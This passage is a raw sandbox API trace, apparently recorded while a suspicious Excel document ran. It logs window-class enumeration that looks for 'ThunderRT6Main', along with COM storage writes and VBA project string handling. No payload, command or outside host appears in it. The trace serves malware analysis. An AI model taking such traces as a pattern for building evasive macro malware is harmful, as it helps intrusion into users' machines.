(lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0284.657] GetWindowThreadProcessId (in: hWnd=0x2013e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0284.657] GetWindow (hWnd=0x2013e, uCmd=0x2) returned 0x10132 [0284.657] GetClassNameA (in: hWnd=0x10132, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0284.657] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0284.657] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0284.657] GetWindow (hWnd=0x10132, uCmd=0x2) returned 0x10134 [0284.657] GetClassNameA (in: hWnd=0x10134, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.657] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.657] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0284.657] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x1012a [0284.657] GetClassNameA (in: hWnd=0x1012a, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="ATL:000007FEFC1141F0") returned 20 [0284.657] lstrcmpA (lpString1="ATL:000007FEFC1141F0", lpString2="ThunderRT6Main") returned -1 [0284.657] GetWindowThreadProcessId (in: hWnd=0x1012a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0284.658] GetWindow (hWnd=0x1012a, uCmd=0x2) returned 0x1012c [0284.658] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.658] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.658] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0284.658] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x10120 [0284.658] GetClassNameA (in: hWnd=0x10120, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0284.658] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0284.658] GetWindowThreadProcessId (in: hWnd=0x10120, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0284.658] GetWindow (hWnd=0x10120, uCmd=0x2) returned 0x10122 [0284.658] GetClassNameA (in: hWnd=0x10122, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.658] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.658] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0284.658] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011e [0284.658] GetClassNameA (in: hWnd=0x1011e, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0284.658] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0284.658] GetWindowThreadProcessId (in: hWnd=0x1011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0284.658] GetWindow (hWnd=0x1011e, uCmd=0x2) returned 0x200c0 [0284.658] GetClassNameA (in: hWnd=0x200c0, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0284.658] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0284.658] GetWindowThreadProcessId (in: hWnd=0x200c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.658] GetWindow (hWnd=0x200c0, uCmd=0x2) returned 0x200ae [0284.658] GetClassNameA (in: hWnd=0x200ae, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0284.658] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0284.658] GetWindowThreadProcessId (in: hWnd=0x200ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.658] GetWindow (hWnd=0x200ae, uCmd=0x2) returned 0x200b0 [0284.658] GetClassNameA (in: hWnd=0x200b0, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0284.658] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0284.658] GetWindowThreadProcessId (in: hWnd=0x200b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.658] GetWindow (hWnd=0x200b0, uCmd=0x2) returned 0x200b4 [0284.658] GetClassNameA (in: hWnd=0x200b4, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0284.658] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0284.658] GetWindowThreadProcessId (in: hWnd=0x200b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.658] GetWindow (hWnd=0x200b4, uCmd=0x2) returned 0x200bc [0284.658] GetClassNameA (in: hWnd=0x200bc, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0284.658] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0284.658] GetWindowThreadProcessId (in: hWnd=0x200bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.658] GetWindow (hWnd=0x200bc, uCmd=0x2) returned 0x300ca [0284.658] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0284.658] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0284.658] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.659] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x800a0 [0284.659] GetClassNameA (in: hWnd=0x800a0, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0284.659] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0284.659] GetWindowThreadProcessId (in: hWnd=0x800a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.659] GetWindow (hWnd=0x800a0, uCmd=0x2) returned 0x20018 [0284.659] GetClassNameA (in: hWnd=0x20018, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0284.659] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0284.659] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c [0284.659] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0284.659] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.659] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.659] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c [0284.659] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0284.659] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0284.659] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0284.659] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c [0284.659] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0284.659] GetClassNameA (in: hWnd=0x20016, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.659] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.659] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c [0284.659] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0284.659] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0284.659] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0284.659] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0284.659] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x20108 [0284.659] GetClassNameA (in: hWnd=0x20108, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.659] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.659] GetWindowThreadProcessId (in: hWnd=0x20108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0284.659] GetWindow (hWnd=0x20108, uCmd=0x2) returned 0x10106 [0284.659] GetClassNameA (in: hWnd=0x10106, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0284.659] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0284.659] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x588 [0284.659] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10102 [0284.659] GetClassNameA (in: hWnd=0x10102, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0284.659] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0284.659] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0284.659] GetWindow (hWnd=0x10102, uCmd=0x2) returned 0x100fc [0284.659] GetClassNameA (in: hWnd=0x100fc, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0284.659] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0284.659] GetWindowThreadProcessId (in: hWnd=0x100fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0284.659] GetWindow (hWnd=0x100fc, uCmd=0x2) returned 0x5008e [0284.660] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0284.660] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0284.660] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.660] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0284.660] GetClassNameA (in: hWnd=0x10084, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0284.660] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0284.660] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x518 [0284.660] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0284.660] GetClassNameA (in: hWnd=0x10082, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0284.660] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0284.660] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.660] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007e [0284.660] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0284.660] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0284.660] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0284.660] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10080 [0284.660] GetClassNameA (in: hWnd=0x10080, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.660] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.660] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0284.660] GetWindow (hWnd=0x10080, uCmd=0x2) returned 0x10076 [0284.660] GetClassNameA (in: hWnd=0x10076, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0284.660] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0284.660] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.660] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10064 [0284.660] GetClassNameA (in: hWnd=0x10064, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0284.660] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0284.660] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.660] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10110 [0284.660] GetClassNameA (in: hWnd=0x10110, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0284.660] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0284.660] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c [0284.661] GetWindow (hWnd=0x10110, uCmd=0x2) returned 0x10112 [0284.661] GetClassNameA (in: hWnd=0x10112, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.661] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.661] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c [0284.661] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10060 [0284.661] GetClassNameA (in: hWnd=0x10060, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0284.661] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0284.661] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.661] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0284.661] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0284.661] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.661] IMalloc:Free (This=0x7feffc15380, pv=0xbb91e20) [0284.703] CExposedDocFile::CreateStorage () returned 0x0 [0284.704] CExposedDocFile::CreateStream () returned 0x0 [0284.704] IMalloc:Alloc (This=0x7feffc15380, cb=0x420) returned 0xbd402c0 [0284.704] CExposedStream::AddRef () returned 0x2 [0284.704] CExposedStream::Release () returned 0x1 [0284.704] CExposedStream::Seek () returned 0x0 [0284.704] IMalloc:Realloc (This=0x7feffc15380, pv=0xb8c2030, cb=0x0) returned 0x0 [0284.704] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x7467c00 [0284.704] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x8) returned 0x74678b0 [0284.704] IMalloc:Realloc (This=0x7feffc15380, pv=0xb61e880, cb=0x8) returned 0x74678b0 [0284.704] CExposedStream::Seek () returned 0x0 [0284.704] IMalloc:Realloc (This=0x7feffc15380, pv=0xb8c2060, cb=0x0) returned 0x0 [0284.704] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x7467b60 [0284.705] CExposedStream::Seek () returned 0x0 [0284.705] IMalloc:Realloc (This=0x7feffc15380, pv=0xb8c2090, cb=0x0) returned 0x0 [0284.705] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x7467b70 [0284.705] ITypeInfo:RemoteGetTypeAttr (in: This=0xb901db8, ppTypeAttr=0x23c460, pDummy=0xba3c220 | out: ppTypeAttr=0x23c460, pDummy=0xba3c220*=0x7) returned 0x0 [0284.705] StringFromGUID2 (in: rguid=0x6f251b8*(Data1=0x20819, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x23c4a0, cchMax=39 | out: lpsz="{00020819-0000-0000-C000-000000000046}") returned 39 [0284.705] ITypeInfo:LocalReleaseTypeAttr (This=0xb901db8) returned 0x0 [0284.705] IUnknown:Release (This=0xb901db8) returned 0x1 [0284.705] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xbe591f0 [0284.705] CExposedStream::Seek () returned 0x0 [0284.705] IMalloc:Realloc (This=0x7feffc15380, pv=0x4d91000, cb=0x12d8) returned 0x6d79940 [0284.705] CExposedStream::Write () returned 0x0 [0284.705] CExposedStream::Write () returned 0x0 [0284.705] CExposedStream::Seek () returned 0x0 [0284.705] CExposedStream::Seek () returned 0x0 [0284.706] wcscpy_s (in: _Destination=0x23c478, _SizeInWords=0xd, _Source="*\\R" | out: _Destination="*\\R") returned 0x0 [0284.706] _ultow_s (in: _Value=0xffff, _Buffer=0x23c47e, _BufferCount=0xa, _Radix=16 | out: _Buffer="ffff") returned 0x0 [0284.706] wcscpy_s (in: _Destination=0xb869178, _SizeInWords=0x43, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls" | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls") returned 0x0 [0284.706] wcscpy_s (in: _Destination=0xb8691e6, _SizeInWords=0xb, _Source="035dbeaac7" | out: _Destination="035dbeaac7") returned 0x0 [0284.706] wcscpy_s (in: _Destination=0xb413eb8, _SizeInWords=0x13, _Source="*\\Rffff*" | out: _Destination="*\\Rffff*") returned 0x0 [0284.706] wcscpy_s (in: _Destination=0xb413ec8, _SizeInWords=0xb, _Source="035dbeaac7" | out: _Destination="035dbeaac7") returned 0x0 [0284.706] CExposedStream::Seek () returned 0x0 [0284.706] IUnknown:QueryInterface (in: This=0xb9f7128, riid=0x7fee6090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23c3b8 | out: ppvObject=0x23c3b8*=0x0) returned 0x80004002 [0284.706] ITypeInfo:RemoteGetContainingTypeLib (in: This=0xb9f7128, ppTLib=0x23c3c0, pIndex=0x23c3d0 | out: ppTLib=0x23c3c0*=0xb825960, pIndex=0x23c3d0*=0x17) returned 0x0 [0284.706] IUnknown:QueryInterface (in: This=0xb825960, riid=0x7fee609b078*(Data1=0x20411, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x23c3c8 | out: ppvObject=0x23c3c8*=0xb825960) returned 0x0 [0284.706] ITypeLib:RemoteGetLibAttr (in: This=0xb825960, ppTLibAttr=0x23c440, pDummy=0x0 | out: ppTLibAttr=0x23c440, pDummy=0x0) returned 0x0 [0284.706] ITypeLib:LocalReleaseTLibAttr (This=0xb825960) returned 0x0 [0284.706] wcscpy_s (in: _Destination=0x23c478, _SizeInWords=0xd, _Source="*\\R" | out: _Destination="*\\R") returned 0x0 [0284.706] _ultow_s (in: _Value=0x0, _Buffer=0x23c47e, _BufferCount=0xa, _Radix=16 | out: _Buffer="0") returned 0x0 [0284.706] IUnknown:QueryInterface (in: This=0xb9f7128, riid=0x7fee6085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23c3d8 | out: ppvObject=0x23c3d8*=0x0) returned 0x80004002 [0284.707] IUnknown:QueryInterface (in: This=0xb9f7128, riid=0x7fee6090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23c3b8 | out: ppvObject=0x23c3b8*=0x0) returned 0x80004002 [0284.707] _ultow_s (in: _Value=0x17, _Buffer=0x23c484, _BufferCount=0x7, _Radix=16 | out: _Buffer="17") returned 0x0 [0284.707] wcscpy_s (in: _Destination=0x4f3abf8, _SizeInWords=0x9, _Source="*\\R0*#17" | out: _Destination="*\\R0*#17") returned 0x0 [0284.707] IUnknown:Release (This=0xb825960) returned 0x8 [0284.707] CExposedStream::Seek () returned 0x0 [0284.707] CExposedStream::Seek () returned 0x0 [0284.707] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x8) returned 0x7467b80 [0284.707] IMalloc:Realloc (This=0x7feffc15380, pv=0xbad9c50, cb=0x21b0) returned 0xbad9c50 [0284.707] IMalloc:Realloc (This=0x7feffc15380, pv=0xbad4bd0, cb=0x4a4) returned 0xbad4bd0 [0284.707] CExposedStream::Write () returned 0x0 [0284.707] CExposedStream::Write () returned 0x0 [0284.707] CExposedStream::Write () returned 0x0 [0284.709] CExposedStream::Seek () returned 0x0 [0284.709] CExposedStream::Write () returned 0x0 [0284.709] CExposedStream::Seek () returned 0x0 [0284.709] CExposedStream::AddRef () returned 0x2 [0284.709] CExposedStream::Write () returned 0x0 [0284.709] CExposedStream::Release () returned 0x1 [0284.709] IMalloc:Free (This=0x7feffc15380, pv=0xbd402c0) [0284.709] CExposedStream::Seek () returned 0x0 [0284.709] IMalloc:Alloc (This=0x7feffc15380, cb=0x2028) returned 0xb743ff0 [0284.709] IMalloc:Alloc (This=0x7feffc15380, cb=0x10020*=0x10128) returned 0x1078a360 [0284.709] CExposedStream::AddRef () returned 0x2 [0284.709] CExposedStream::Write () returned 0x0 [0284.709] CExposedStream::Release () returned 0x1 [0284.709] _mbscpy_s (in: _Dst=0x7fee60c2aa0, _DstSizeInBytes=0x400, _Src=0x7fee607e648 | out: _Dst=0x7fee60c2aa0) returned 0x0 [0284.709] _mbscpy_s (in: _Dst=0x7fee60c2aaa, _DstSizeInBytes=0x3f6, _Src=0x7fee607e740 | out: _Dst=0x7fee60c2aaa) returned 0x0 [0284.709] _mbscpy_s (in: _Dst=0x7fee60c2ab5, _DstSizeInBytes=0x3eb, _Src=0xbb919e0 | out: _Dst=0x7fee60c2ab5) returned 0x0 [0284.709] ITypeInfo:RemoteGetTypeAttr (in: This=0xb901db8, ppTypeAttr=0x23c320, pDummy=0xba3c220 | out: ppTypeAttr=0x23c320, pDummy=0xba3c220*=0x7) returned 0x0 [0284.709] StringFromGUID2 (in: rguid=0x6f251b8*(Data1=0x20819, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x23c360, cchMax=39 | out: lpsz="{00020819-0000-0000-C000-000000000046}") returned 39 [0284.709] ITypeInfo:LocalReleaseTypeAttr (This=0xb901db8) returned 0x0 [0284.709] IUnknown:Release (This=0xb901db8) returned 0x1 [0284.709] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xbe591f0 [0284.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0{00020819-0000-0000-C000-000000000046}", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0284.710] IMalloc:Alloc (This=0x7feffc15380, cb=0x28) returned 0xb8c2090 [0284.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0{00020819-0000-0000-C000-000000000046}", cchWideChar=40, lpMultiByteStr=0xb8c2090, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0{00020819-0000-0000-C000-000000000046}", lpUsedDefaultChar=0x0) returned 40 [0284.710] _mbscpy_s (in: _Dst=0x7fee60c2aa0, _DstSizeInBytes=0x400, _Src=0x7fee607e648 | out: _Dst=0x7fee60c2aa0) returned 0x0 [0284.710] _mbscpy_s (in: _Dst=0x7fee60c2aaa, _DstSizeInBytes=0x3f6, _Src=0x7fee607e658 | out: _Dst=0x7fee60c2aaa) returned 0x0 [0284.710] _mbscpy_s (in: _Dst=0x7fee60c2ab5, _DstSizeInBytes=0x3eb, _Src=0xb8c2090 | out: _Dst=0x7fee60c2ab5) returned 0x0 [0284.710] _mbscpy_s (in: _Dst=0x7fee60c2aa0, _DstSizeInBytes=0x400, _Src=0x7fee607e648 | out: _Dst=0x7fee60c2aa0) returned 0x0 [0284.710] _mbscpy_s (in: _Dst=0x7fee60c2aaa, _DstSizeInBytes=0x3f6, _Src=0x7fee607e7f8 | out: _Dst=0x7fee60c2aaa) returned 0x0 [0284.710] _mbscpy_s (in: _Dst=0x7fee60c2abf, _DstSizeInBytes=0x3e1, _Src=0x7fee607e2c8 | out: _Dst=0x7fee60c2abf) returned 0x0 [0284.710] _mbscpy_s (in: _Dst=0x7fee60c2aa0, _DstSizeInBytes=0x400, _Src=0x7fee607e648 | out: _Dst=0x7fee60c2aa0) returned 0x0 [0284.710] _mbscpy_s (in: _Dst=0x7fee60c2aaa, _DstSizeInBytes=0x3f6, _Src=0x7fee607e670 | out: _Dst=0x7fee60c2aaa) returned 0x0 [0284.710] _mbscpy_s (in: _Dst=0x7fee60c2ab9, _DstSizeInBytes=0x3e7, _Src=0x7fee607e2c8 | out: _Dst=0x7fee60c2ab9) returned 0x0 [0284.710] _mbscpy_s (in: _Dst=0x7fee60c2aa0, _DstSizeInBytes=0x400, _Src=0x7fee607e648 | out: _Dst=0x7fee60c2aa0) returned 0x0 [0284.710] _mbscpy_s (in: _Dst=0x7fee60c2aaa, _DstSizeInBytes=0x3f6, _Src=0x7fee607e748 | out: _Dst=0x7fee60c2aaa) returned 0x0 [0284.710] _mbscpy_s (in: _Dst=0x7fee60c2abd, _DstSizeInBytes=0x3e3, _Src=0x7fee607e59c | out: _Dst=0x7fee60c2abd) returned 0x0 [0284.710] _mbscpy_s (in: _Dst=0x7fee60c2aa0, _DstSizeInBytes=0x400, _Src=0x7fee607e648 | out: _Dst=0x7fee60c2aa0) returned 0x0 [0284.710] _mbscpy_s (in: _Dst=0x7fee60c2aaa, _DstSizeInBytes=0x3f6, _Src=0x7fee607e6a0 | out: _Dst=0x7fee60c2aaa) returned 0x0 [0284.710] _mbscpy_s (in: _Dst=0x7fee60c2ab7, _DstSizeInBytes=0x3e9, _Src=0x7fee607e59c | out: _Dst=0x7fee60c2ab7) returned 0x0 [0284.710] _mbscpy_s (in: _Dst=0x7fee60c2aa0, _DstSizeInBytes=0x400, _Src=0x7fee607e648 | out: _Dst=0x7fee60c2aa0) returned 0x0 [0284.710] _mbscpy_s (in: _Dst=0x7fee60c2aaa, _DstSizeInBytes=0x3f6, _Src=0x7fee607e770 | out: _Dst=0x7fee60c2aaa) returned 0x0 [0284.710] _mbscpy_s (in: _Dst=0x7fee60c2abf, _DstSizeInBytes=0x3e1, _Src=0x7fee607e2c8 | out: _Dst=0x7fee60c2abf) returned 0x0 [0284.710] _mbscpy_s (in: _Dst=0x7fee60c2aa0, _DstSizeInBytes=0x400, _Src=0x7fee607e648 | out: _Dst=0x7fee60c2aa0) returned 0x0 [0284.710] _mbscpy_s (in: _Dst=0x7fee60c2aaa, _DstSizeInBytes=0x3f6, _Src=0x7fee607e680 | out: _Dst=0x7fee60c2aaa) returned 0x0 [0284.710] _mbscpy_s (in: _Dst=0x7fee60c2abc, _DstSizeInBytes=0x3e4, _Src=0x7fee607e59c | out: _Dst=0x7fee60c2abc) returned 0x0 [0284.711] _mbscpy_s (in: _Dst=0xb722d60, _DstSizeInBytes=0x400, _Src=0x6ca2b16 | out: _Dst=0xb722d60) returned 0x0 [0284.712] _mbscpy_s (in: _Dst=0xb722d60, _DstSizeInBytes=0x400, _Src=0x6ca2b46 | out: _Dst=0xb722d60) returned 0x0 [0284.712] _i64toa_s (in: _Value=99, _Buffer=0x23c450, _BufferCount=0x18, _Radix=10 | out: _Buffer="99") returned 0x0 [0284.712] strnlen (_Str="99", _MaxCount=0x18) returned 0x2 [0284.712] _i64toa_s (in: _Value=99, _Buffer=0x23c450, _BufferCount=0x18, _Radix=10 | out: _Buffer="99") returned 0x0 [0284.712] strnlen (_Str="99", _MaxCount=0x18) returned 0x2 [0284.712] _mbscpy_s (in: _Dst=0xb722d60, _DstSizeInBytes=0x400, _Src=0x6ca2b6e | out: _Dst=0xb722d60) returned 0x0 [0284.712] _mbscpy_s (in: _Dst=0xb722d60, _DstSizeInBytes=0x400, 